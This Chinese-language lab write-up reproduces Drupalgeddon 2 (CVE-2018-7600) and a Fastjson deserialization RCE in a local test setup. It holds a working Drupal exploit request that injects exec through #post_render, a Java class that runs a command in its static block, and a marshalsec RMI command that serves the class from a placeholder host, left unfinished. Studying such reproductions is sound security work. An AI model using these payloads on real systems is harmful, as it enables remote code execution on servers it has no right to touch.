目录
一.Drupal/CVE-2018-7600
背景:Drupal是一个流行的PHP内容管理系统,CVE-2018-7600 是该项目历史上最严重的漏洞之一,因此被称为 Drupalgeddon 2。出现的漏洞的原因就是Drupal在渲染表单元素时,允许用户传入的结构被直接执行为回调函数,本质是不可信输入被传入可执行上下文,是一种典型的“反序列化”,“动态执行”问题。
1.搭建环境
结束后:
2.漏洞复现
使用Burp Suite进行抓包,发送以下数据包
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=uname -a
解释:
参数 | 作用 | 利用点 |
---|---|---|
form_id=user_register_form | 指定操作的 Drupal 表单(这里是用户注册) | 指定处理逻辑 |
_drupal_ajax=1 | 表明这是一个 AJAX 请求 | 触发 AJAX 回调处理路径 |
element_parents=account/mail/%23value | 告诉 Drupal 该请求是针对表单中 account[mail][#value] 这个字段的 | 控制参数注入点路径 |
mail[#post_render][]=exec | 注入 PHP 的 exec() 函数到表单字段的渲染钩子 | 关键:命令执行点 |
mail[#type]=markup | 设置该字段的类型为 markup (直接渲染 HTML) | 允许 #markup 生效 |
mail[#markup]=id/其他等等 | 注入的参数,将作为 exec("id") 被执行 | 注入命令 |
结果:我在命令处写了uname -a,data部分就显示了该系统内核版本
3.攻击原理
CVE-2018-7600 的攻击原理在于 Drupal 在处理未认证用户提交的 AJAX 表单请求时,未对结构化参数(如 #post_render
)进行有效过滤,攻击者可通过精心构造的请求,将任意 PHP 函数(如 exec
)注入表单字段的渲染流程中,从而导致服务器在生成响应时执行恶意命令,最终实现远程代码执行(RCE)。
二.fastjson
背景:Fastjson 是阿里巴巴开源的一个高性能 Java JSON 处理库,用于在 Java 应用中快速地将对象与 JSON 数据互相转换。自 2011 年开源以来,凭借其出色的解析速度和易用的 API,广泛应用于国内外的 Java 项目中。尽管功能强大,但 Fastjson 的一个设计特点——可以自动根据传入 JSON 的类型字段(@type
)动态实例化类对象,带来了严重的安全隐患。如果传入的数据未做严格校验,攻击者可以构造恶意 JSON 数据,利用 Fastjson 的反序列化机制加载任意类,触发类的构造函数或特定的 getter 方法执行代码,从而造成远程命令执行(RCE)等安全问题。
1.搭建环境
2.漏洞复现
1)创建出发漏洞的Java类
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
解释:这段 Java 代码的目的是在反序列化时触发代码执行。类 TouchFile
在静态代码块中执行了一个命令,即创建一个名为 /tmp/successFrank
的文件。
2)编译和传输TouchFile.class文件
3)启用HTTP服务来提供.class文件
4)启动marshalsec RMI服务
(marshalsec
是一个工具,用于在远程代码执行攻击中构造和加载恶意的 Java 类。你需要使用 marshalsec
来启动 RMI 服务并将 TouchFile.class
文件加载到目标服务器上。)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<虚拟机IP>:4444/#TouchFile" 9999
5)发现java和javac的版本必须得是1.8的,后面就没有继续